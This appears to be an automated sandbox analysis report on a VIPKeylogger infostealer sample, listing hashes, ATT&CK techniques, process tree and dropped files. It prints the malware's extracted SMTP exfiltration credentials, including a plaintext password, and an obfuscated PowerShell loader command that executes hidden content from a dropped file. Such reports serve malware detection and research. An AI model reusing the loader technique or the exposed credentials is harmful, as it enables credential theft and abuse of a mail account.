vipkeylogger | c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b

Analysis

max time kernel
141s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 08:22

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General

Target

c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe
Size

763KB
MD5

99be54eef515e3bb933f1b7fe2746e7d
SHA1

2c5351daf0d3f6d86541bf432680cab4b284f72d
SHA256

c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b
SHA512

41e989c379c8786ebfc1dc02686905e8b407b6fed21763df769321cc158d7b306094e3e613a9928b5447011eecbddde6de2c8e11777fcf7b66016746c418cad5
SSDEEP

12288:pe8o3x64EHoJffn6KZyztqIjP7pFbJAmhxnODIY703VBJ8k5bCqR:peRx5EIJHn6QyzfTFDAmhxOsY7G8kAqR

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
55#cHsR%iCPw
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

Processes:

msiexec.exe

flow	pid	process
21	2856	msiexec.exe
23	2856	msiexec.exe
25	2856	msiexec.exe
27	2856	msiexec.exe
29	2856	msiexec.exe
43	2856	msiexec.exe
46	2856	msiexec.exe
52	2856	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

21 drive.google.com
20 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

42 checkip.dyndns.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

2856 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

3300 powershell.exe
2856 msiexec.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3300 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
21	drive.google.com
20	drive.google.com

flow	ioc
42	checkip.dyndns.org

pid	process
2856	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exepowershell.exemsiexec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exemsiexec.exe

pid	process
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
2856	msiexec.exe
2856	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3300 powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeIncreaseQuotaPrivilege	3300	powershell.exe
Token: SeSecurityPrivilege	3300	powershell.exe
Token: SeTakeOwnershipPrivilege	3300	powershell.exe
Token: SeLoadDriverPrivilege	3300	powershell.exe
Token: SeSystemProfilePrivilege	3300	powershell.exe
Token: SeSystemtimePrivilege	3300	powershell.exe
Token: SeProfSingleProcessPrivilege	3300	powershell.exe
Token: SeIncBasePriorityPrivilege	3300	powershell.exe
Token: SeCreatePagefilePrivilege	3300	powershell.exe
Token: SeBackupPrivilege	3300	powershell.exe
Token: SeRestorePrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeSystemEnvironmentPrivilege	3300	powershell.exe
Token: SeRemoteShutdownPrivilege	3300	powershell.exe
Token: SeUndockPrivilege	3300	powershell.exe
Token: SeManageVolumePrivilege	3300	powershell.exe
Token: 33	3300	powershell.exe
Token: 34	3300	powershell.exe
Token: 35	3300	powershell.exe
Token: 36	3300	powershell.exe
Token: SeDebugPrivilege	2856	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exepowershell.exe

description	pid	process	target process
PID 4948 wrote to memory of 3300	4948	c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe	powershell.exe
PID 4948 wrote to memory of 3300	4948	c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe	powershell.exe
PID 4948 wrote to memory of 3300	4948	c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe	powershell.exe
PID 3300 wrote to memory of 2856	3300	powershell.exe	msiexec.exe
PID 3300 wrote to memory of 2856	3300	powershell.exe	msiexec.exe
PID 3300 wrote to memory of 2856	3300	powershell.exe	msiexec.exe
PID 3300 wrote to memory of 2856	3300	powershell.exe	msiexec.exe

outlook_office_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe
"C:\Users\Admin\AppData\Local\Temp\c46baa7cd710456d6f6a990295e929d62305036cc1592508ecea040a7bd3eb5b.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Caracara136=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Unlubricating.Svb';$Restrictiveness=$Caracara136.SubString(7453,3);.$Restrictiveness($Caracara136)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lrj5wqqm.3yp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Unlubricating.Svb

Filesize
67KB

MD5
9c6a4c36a41974fb1d33af33ccc82c42

SHA1
7365bf6d56cf9527969cb75b4b85351b53dce17a

SHA256
709e7c73241de34d1f572a37b2419ba908782b11432f15806aee1ca75f4e8159

SHA512
369a76a2b21bdef835480299633a58357efb64f66d216bf5fb02f9bb2691fe718426ab7ddc1630265ac5a6e1ec993eb57183c277483de0189ac388f6fe57721f

Download Submit
C:\Users\Admin\AppData\Roaming\argoters\Necrotizing\Unniched.Cle

Filesize
289KB

MD5
120c6faf82d9de6d4f18bfb5d099187a

SHA1
e892f3567a0d66c5a109e9fa37573f314c7631b7

SHA256
17b4aaa85d3783d2085001418230bf9bad756486289f91e1b7044fddc8702f5e

SHA512
be136a0bb7bf0135c220384a7478709090685d6b4d77ff379327fb3e7639c2390366c78622925020fd8cd16c797361112f5b7730a957f8224997c1b85d022cf2

Download Submit
memory/2856-79-0x0000000000CA0000-0x0000000001EF4000-memory.dmp

Filesize
18.3MB

Download
memory/2856-80-0x0000000000CA0000-0x0000000001EF4000-memory.dmp

Filesize
18.3MB

Download
memory/2856-87-0x0000000024950000-0x000000002495A000-memory.dmp

Filesize
40KB

Download
memory/2856-86-0x0000000024FC0000-0x0000000025052000-memory.dmp

Filesize
584KB

Download
memory/2856-84-0x0000000024870000-0x00000000248C0000-memory.dmp

Filesize
320KB

Download
memory/2856-83-0x00000000250F0000-0x00000000252B2000-memory.dmp

Filesize
1.8MB

Download
memory/2856-82-0x00000000243C0000-0x000000002445C000-memory.dmp

Filesize
624KB

Download
memory/2856-81-0x0000000000CA0000-0x0000000000CE8000-memory.dmp

Filesize
288KB

Download
memory/3300-45-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-50-0x0000000007AB0000-0x0000000007ADA000-memory.dmp

Filesize
168KB

Download
memory/3300-23-0x0000000005DA0000-0x00000000060F4000-memory.dmp

Filesize
3.3MB

Download
memory/3300-24-0x0000000006370000-0x000000000638E000-memory.dmp

Filesize
120KB

Download
memory/3300-25-0x00000000063C0000-0x000000000640C000-memory.dmp

Filesize
304KB

Download
memory/3300-26-0x0000000007530000-0x00000000075C6000-memory.dmp

Filesize
600KB

Download
memory/3300-28-0x00000000068E0000-0x0000000006902000-memory.dmp

Filesize
136KB

Download
memory/3300-27-0x00000000068C0000-0x00000000068DA000-memory.dmp

Filesize
104KB

Download
memory/3300-29-0x0000000007B80000-0x0000000008124000-memory.dmp

Filesize
5.6MB

Download
memory/3300-31-0x00000000087B0000-0x0000000008E2A000-memory.dmp

Filesize
6.5MB

Download
memory/3300-33-0x000000006F7E0000-0x000000006F82C000-memory.dmp

Filesize
304KB

Download
memory/3300-32-0x00000000077C0000-0x00000000077F2000-memory.dmp

Filesize
200KB

Download
memory/3300-34-0x000000006FBE0000-0x000000006FF34000-memory.dmp

Filesize
3.3MB

Download
memory/3300-12-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/3300-47-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-46-0x0000000007830000-0x00000000078D3000-memory.dmp

Filesize
652KB

Download
memory/3300-44-0x0000000007800000-0x000000000781E000-memory.dmp

Filesize
120KB

Download
memory/3300-49-0x0000000007930000-0x000000000793A000-memory.dmp

Filesize
40KB

Download
memory/3300-48-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-13-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/3300-51-0x0000000007AE0000-0x0000000007B04000-memory.dmp

Filesize
144KB

Download
memory/3300-52-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-55-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-54-0x000000007335E000-0x000000007335F000-memory.dmp

Filesize
4KB

Download
memory/3300-56-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-58-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-59-0x0000000008E30000-0x000000000D2EB000-memory.dmp

Filesize
68.7MB

Download
memory/3300-60-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-61-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-62-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-63-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-11-0x00000000053C0000-0x00000000053E2000-memory.dmp

Filesize
136KB

Download
memory/3300-10-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-8-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-9-0x0000000005520000-0x0000000005B48000-memory.dmp

Filesize
6.2MB

Download
memory/3300-7-0x0000000002D90000-0x0000000002DC6000-memory.dmp

Filesize
216KB

Download
memory/3300-6-0x000000007335E000-0x000000007335F000-memory.dmp

Filesize
4KB

Download
memory/3300-64-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download
memory/3300-66-0x0000000073350000-0x0000000073B00000-memory.dmp

Filesize
7.7MB

Download